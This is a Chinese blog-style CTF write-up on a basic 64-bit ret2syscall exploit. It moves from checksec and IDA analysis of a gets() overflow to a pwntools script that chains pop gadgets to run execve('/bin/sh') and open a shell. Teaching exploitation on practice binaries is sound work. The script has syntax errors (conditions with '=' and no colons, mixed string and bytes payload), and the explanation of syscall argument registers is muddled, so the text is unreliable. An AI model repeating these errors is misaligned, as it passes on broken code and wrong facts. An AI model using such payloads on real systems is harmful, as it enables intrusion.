首页 > 其他 > 详细

pwn基础>>Basic ROP>>ret2syscall

时间:2021-05-31 12:05:55      阅读:23      评论:0      收藏:0      [点我收藏+]

 

 

 

 技术分享图片

 

 

 

 

 

  今天学了一手基础ROP中的ret2syscall,拿了道题练手。话不多说,先来看看如何复现 

  首先,打开题目,发现目录下的可执行elf文件。

 

技术分享图片

  拖到虚拟机中,使用checksec指令查看文件保护属性

 

技术分享图片

 

 

  可以看出没有栈溢出与PIE保护,意味着该程序代码段的地址为静态,不需要动态获取段地址,且可以进行栈溢出攻击接着拖进IDA分析伪代码,先找到main函数。

 

技术分享图片

 

 

 

  可以看见main函数下有俩个函数,一个是initt(args, argv, envp),一个是pwnn(),前者是linux内核系统必需的用户级进程,与本题ret2syscall关系不大,不做分析,直接进入pwnn()。

 

技术分享图片

 

 

 

  发现一个gets函数,通过对程序的保护属性分析,我们知道没有栈溢出保护,发现可以利用一下gets函数来实现栈溢出攻击,通过任意写返回地址来进行ROP链最开始的一环。

 

  接着开始构思如何构建ROP链,已知我们的核心目的是通过syscall系统调用来获取shell。

  因此,我们需要构建一个通过syscall调用execve(内核级系统调用函数,在这里作用同system())来获取shell的ROP链。

 

  利用工具ROPgadget,来查看当前程序存在的可利用ROP代码片段,指令为 ROPgadget --binary <文件名> --only "pop|ret"

 

技术分享图片

 

 技术分享图片

 

 

 

 

 

  使用指令后,出现了一堆pop|ret链环,先构建我们需要调用的核心函数,再考虑如何构建ROP链。

 

  核心函数为:syscall: sys_write(signed __int64 (__usercall *)@<rax>(unsigned int@<edi>, const char *@<rsi>, size_t@<rdx>))与execve(char *pathname,char *argv[],char *envp[]),关系为前者调用后者,需要分析他使用了哪些寄存器传参,我们知道,64位的常规函数调用约定需要依次使用rdi,rsi, rdx, rcx, r8, r9等寄存器来传递参数。

 

  execve(char *pathname,char *argv[],char *envp[])需要3个参数;而syscall(int, int, int)也需要3个参数,但它比较特殊,属于内核系统级调用函数,第一个参数是系统调用号,通过rax来传递,剩余其他参数与常规函数调用一致,而后面3个参数可以省略,它们分别是通过rax,rdx,rbx来传递的。

 

  汇总一下需要控制的寄存器,rdi,rsi,rdx,rax。到这里我们已经知道需要选取出相关的pop|ret片段地址,如下图

 

技术分享图片

 

   开始构建payload和exp

  

 1 from pwn import *
 2 
 3 mode = 0
 4 url = "127.0.0.1"
 5 port = "8080"
 6 
 7 pop_rax_rdx_rbx_ret=0x478a76
 8 pop_rdi_ret=0x401676
 9 pop_rsi_ret=0x401797
10 binsh_addr=0x4A15A4
11 syscall_addr=0x4003da#可通过IDA检索出,64位关键词为"sys_write"
12 
13 payload="A"*0x18+p64(pop_rdi_ret)+p64(binsh_addr) #stackoverflow & rdi=binsh_addr
14 payload+=p64(pop_rsi_ret)+p64(0) #rsi=0
15 payload+=p64(pop_rax_rdx_rbx_ret)+p64(59)+p64(0)+p64(0)# rax=59 rdx=0
16 payload+=p64(syscall_addr) #execve("/bin/sh",0,0)
17 
18 #local
19 if mode = 0
20     p = process("./poc")
21     #gdb.attach(p,"b * main)
22     p.sendlineafter("you show syscall?\n",payload)
23     p.interactive()
24 #remote
25 else
26     p = remote(url,port)
27     p.sendlineafter("you show syscall?\n",payload)
28     p.interactive()

 

   最后成功打穿本地

 

技术分享图片

 

pwn基础>>Basic ROP>>ret2syscall

原文:https://www.cnblogs.com/Ph03n1x/p/14829416.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!